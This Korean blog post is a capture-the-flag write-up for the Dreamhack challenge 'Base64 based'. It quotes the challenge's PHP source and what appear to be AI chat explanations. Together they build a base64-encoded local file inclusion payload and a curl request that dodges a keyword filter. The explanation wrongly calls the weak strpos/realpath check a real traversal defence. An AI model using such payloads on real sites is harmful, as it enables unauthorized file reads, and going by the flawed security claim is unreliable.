https://melonbbang-ruffy.tistory.com/65
[Dreamhack] Base64 based
https://dreamhack.io/wargame/challenges/1785 Base64 basedDescription Read flag.php to get the flag.dreamhack.io플래그를 알기 위해선 모종의 방법으로 flag.php 파일을 읽어와야 하는 문제일단 웹 사이트에 들어가보면이런
melonbbang-ruffy.tistory.com
dockerfile과 풀이글 기반으로 정답 유추하는 과정
dockerfile은 환경설정 파일이라서 아예 힌트를 준다!로 생각해서 이것만으로도 취약점을 추측할 수 있다하셨다!
🔥 Dockerfile과 힌트 기반으로 정답을 유추하는 과정
1️⃣ Dockerfile 분석
FROM php:7.4-apache
COPY ./deploy/run.sh /usr/sbin/
RUN chmod +x /usr/sbin/run.sh
COPY ./deploy/src /var/www/html
COPY ./deploy/flag /flag
EXPOSE 80
CMD ["/usr/sbin/run.sh"]
이 Dockerfile을 보면 다음과 같은 중요한 정보를 얻을 수 있어.
📌 1. PHP 7.4 + Apache 웹 서버가 실행됨
FROM php:7.4-apache
EXPOSE 80
- PHP 7.4와 Apache가 함께 실행되는 환경.
- 즉, 웹 서버에서 PHP 코드가 실행됨.
📌 2. 웹 루트가 /var/www/html
COPY ./deploy/src /var/www/html
- ./deploy/src 폴더가 웹 루트(/var/www/html/)로 복사됨.
- 즉, 웹에서 http://target.com/index.php와 같은 파일이 접근 가능함.
📌 3. 플래그가 /flag 경로에 있음
COPY ./deploy/flag /flag
- 플래그는 /flag 파일 안에 존재하지만, 웹 루트가 아니므로 직접 접근 불가능.
2️⃣ 힌트 분석
현재 동일한 디렉토리에 flag.php 파일이 존재하는 것을 확인할 수 있다.
만약 ./flag.php 로 상대경로를 입력하더라도, 동일한 디렉토리에 파일이 위치하기 때문에 flag.php 파일이 불러와 질 것이라고 예상해 볼 수 있을 듯 하다.
📌 힌트에서 얻을 수 있는 정보
- 현재 웹 루트(/var/www/html/)에 flag.php가 존재함.
- 즉, index.php가 있는 디렉토리에 flag.php도 있음.
- ./flag.php 경로로 불러올 수 있음.
- 즉, index.php에서 require_once() 같은 코드로 flag.php를 불러올 가능성이 큼.
3️⃣ index.php 코드와 LFI(Local File Inclusion) 취약점 분석
$decodedFileName = base64_decode($encodedFileName);
$filePath = __DIR__ . DIRECTORY_SEPARATOR . $decodedFileName;
if ($decodedFileName && file_exists($filePath) && strpos(realpath($filePath),__DIR__) == 0) {
echo "<p>Including file: <strong>$decodedFileName</strong></p>";
echo "<div>";
require_once($decodedFileName);
echo "</div>";
} else {
echo "<p class='error'>Error: Invalid file or file does not exist.</p>";
}
📌 LFI 공격이 가능한 이유
- $_GET['file']이 Base64 디코딩된 후, 해당 파일을 require_once()로 포함함.
- file_exists()와 realpath() 검사만 통과하면 어떤 파일이든 실행 가능.
📌 힌트와 결합하여 정리
- flag.php가 현재 디렉토리에 존재.
- ./flag.php도 허용됨.
- 즉, Base64 인코딩된 ./flag.php를 file 파라미터로 전달하면 실행 가능!
🚀 최종 공격 페이로드
1️⃣ ./flag.php를 Base64 인코딩
echo -n "./flag.php" | base64
✅ 출력값:
Li9mbGFnLnBocA==
2️⃣ 공격 실행
curl "http://target.com/index.php?file=Li9mbGFnLnBocA=="
✅ 예상 결과
- index.php에서 base64_decode($_GET['file']) 실행 → ./flag.php
- file_exists() 체크 통과
- require_once("./flag.php") 실행
- flag.php 내부의 file_get_contents('/flag') 실행
- /flag 파일의 내용(플래그) 출력 🎉
🔥 Dockerfile + 힌트를 이용해 정답을 유추하는 과정 요약
1️⃣ Dockerfile 분석
- 웹 루트(/var/www/html/)에 index.php, flag.php 같은 PHP 파일이 있음.
- /flag 파일은 직접 접근 불가능.
2️⃣ 힌트 분석
- flag.php가 현재 디렉토리에 있음.
- ./flag.php로 접근 가능.
3️⃣ LFI 취약점 분석
- index.php에서 Base64 디코딩 후 require_once()로 파일을 포함함.
- Base64 인코딩된 ./flag.php를 전달하면 실행 가능.
4️⃣ 공격 실행
- file=Li9mbGFnLnBocA== 로 요청하여 flag.php를 실행하면 /flag 파일의 내용을 얻을 수 있음.
🚀 이제 직접 실행해서 플래그를 찾아봐! 😎🔥
index.php 소스코드
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Loader</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f4f4f9;
margin: 0;
padding: 20px;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
}
.container {
background-color: #fff;
padding: 20px;
border-radius: 8px;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
max-width: 600px;
width: 100%;
}
h1 {
color: #333;
}
p {
color: #555;
}
.error {
color: red;
}
</style>
</head>
<body>
<div class="container">
<h1>File Content Viewer</h1>
<?php
define('ALLOW_INCLUDE', true);
if (isset($_GET['file'])) {
$encodedFileName = $_GET['file'];
if (stripos($encodedFileName, "Li4v") !== false){
echo "<p class='error'>Error: Not allowed ../.</p>";
exit(0);
}
if ((stripos($encodedFileName, "ZmxhZ") !== false) || (stripos($encodedFileName, "aHA=") !== false)){
echo "<p class='error'>Error: Not allowed flag.</p>";
exit(0);
}
$decodedFileName = base64_decode($encodedFileName);
$filePath = __DIR__ . DIRECTORY_SEPARATOR . $decodedFileName;
if ($decodedFileName && file_exists($filePath) && strpos(realpath($filePath),__DIR__) == 0) {
echo "<p>Including file: <strong>$decodedFileName</strong></p>";
echo "<div>";
require_once($decodedFileName);
echo "</div>";
} else {
echo "<p class='error'>Error: Invalid file or file does not exist.</p>";
}
} else {
echo "<p class='error'>No file parameter provided.</p>";
}
?>
</div>
</body>
</html>
hello.php 파일
<?php echo 'This is Base64 world'?>
flag.php 파일
<?php
if (!defined('ALLOW_INCLUDE')) {
http_response_code(403);
exit('Direct access is not allowed.');
} else {
$file = file_get_contents('/flag');
echo trim($file);
}
?>
index.pho소스코드를 자세히보자면
define('ALLOW_INCLUDE', true);
if (isset($_GET['file'])) {
$encodedFileName = $_GET['file'];
if (stripos($encodedFileName, "Li4v") !== false){
echo "<p class='error'>Error: Not allowed ../.</p>";
exit(0);
}
if ((stripos($encodedFileName, "ZmxhZ") !== false) || (stripos($encodedFileName, "aHA=") !== false)){
echo "<p class='error'>Error: Not allowed flag.</p>";
exit(0);
}
"Li4v" (../의 Base64) → 디렉터리 이동 차단
"ZmxhZ" (flag의 Base64) → "flag" 포함된 요청 차단
"aHA=" (php의 Base64) → "php" 포함된 요청 차단
$decodedFileName = base64_decode($encodedFileName);
$filePath = __DIR__ . DIRECTORY_SEPARATOR . $decodedFileName;
if ($decodedFileName && file_exists($filePath) && strpos(realpath($filePath),__DIR__) == 0) {
echo "<p>Including file: <strong>$decodedFileName</strong></p>";
echo "<div>";
require_once($decodedFileName);
echo "</div>";
내가 소스코드 이해한게 맞아? 사용자가 get 'file' 입력한 파일은 encodedFileName에 저장되고 그게 base64로 디코드해서 그게 파일 경로랑 진짜 경로랑 일치해야한다
네! 소스코드를 이해한 방식이 맞아! 👍
좀 더 정리해서 설명해줄게.
🚀 index.php 코드 동작 방식
$decodedFileName = base64_decode($_GET['file']); // ① GET 'file' 값(Base64)을 디코딩
$filePath = __DIR__ . DIRECTORY_SEPARATOR . $decodedFileName; // ② 파일 경로 생성
if ($decodedFileName && file_exists($filePath) && strpos(realpath($filePath), __DIR__) == 0) {
echo "<p>Including file: <strong>$decodedFileName</strong></p>";
echo "<div>";
require_once($decodedFileName); // ③ 파일 포함 및 실행
echo "</div>";
} else {
echo "<p class='error'>Error: Invalid file or file does not exist.</p>";
}
🛠 코드 분석
1️⃣ 사용자가 GET 요청으로 file 값을 입력함.
http://target.com/index.php?file=Base64_인코딩된_파일명
예를 들어, flag.php를 요청하려면 "flag.php"를 Base64 인코딩해서 전송.
2️⃣ 입력된 값(Base64)을 디코딩해서 $decodedFileName에 저장함.
$decodedFileName = base64_decode($_GET['file']);
예시:
base64_decode("ZmxhZy5waHA=") // 결과: "flag.php"
3️⃣ 디코딩된 파일명을 기반으로 파일 경로를 생성.
$filePath = __DIR__ . DIRECTORY_SEPARATOR . $decodedFileName;
📌 __DIR__ → 현재 PHP 파일(index.php)이 있는 디렉토리 경로.
예를 들어 index.php가 /var/www/html/index.php에 있다면:
$filePath = "/var/www/html/flag.php";
4️⃣ 파일이 존재하고, realpath($filePath)가 __DIR__ 안에 있는지 확인.
if ($decodedFileName && file_exists($filePath) && strpos(realpath($filePath), __DIR__) == 0)
📌 이 부분이 중요한 보안 체크!
- file_exists($filePath) → 파일이 실제로 존재해야 함.
- realpath($filePath) → 실제 파일 경로가 웹 루트(/var/www/html/) 내에 있어야 함.
- strpos(realpath($filePath), __DIR__) == 0 → 웹 루트 밖의 파일 접근 차단.
- 즉, ../flag 같은 경로 우회 공격(Directory Traversal)을 막음.
5️⃣ 조건을 통과하면 require_once($decodedFileName) 실행!
require_once($decodedFileName);
- flag.php가 실행되면 내부에서 /flag 파일을 읽고 출력.
🎯 정리 (너가 이해한 게 맞아!)
- 사용자가 GET 요청으로 Base64 인코딩된 파일명을 입력.
- PHP에서 Base64 디코딩 후 $decodedFileName에 저장.
- 해당 파일이 현재 디렉토리(/var/www/html/)에 존재해야 함.
- realpath() 검사를 통과해야 실행 가능.
- 최종적으로 require_once($decodedFileName)로 파일을 실행!
✅ 즉, Base64 인코딩된 "./flag.php"를 보내면 flag.php가 실행되면서 /flag 파일의 내용이 출력될 것! 🚀
🔥 공격 페이로드 다시 확인
📌 ./flag.php를 Base64로 인코딩
echo -n "./flag.php" | base64
✅ 결과:
Li9mbGFnLnBocA==
📌 curl로 공격 실행
curl "http://target.com/index.php?file=Li9mbGFnLnBocA=="
🎯 이제 실행해서 플래그 찾아봐! 😎🔥
'Dreamhack > Dreamhack Wargame (Challenge)' 카테고리의 다른 글
[164] IT 비전공자 [dreamhack] chrome_artifacts문제풀기 (0) | 2025.02.23 |
---|---|
[163] IT 비전공자 [dreamhack] boot_time문제풀기 (0) | 2025.02.22 |
[161] IT 비전공자 [dreamhack] [CodeEngn] MobileApp L02문제풀기 (0) | 2025.02.20 |
[160] IT 비전공자 [dreamhack] Easy Linguistics문제풀기 (0) | 2025.02.19 |
[159] IT 비전공자 [dreamhack] p_rho문제풀기 (0) | 2025.02.18 |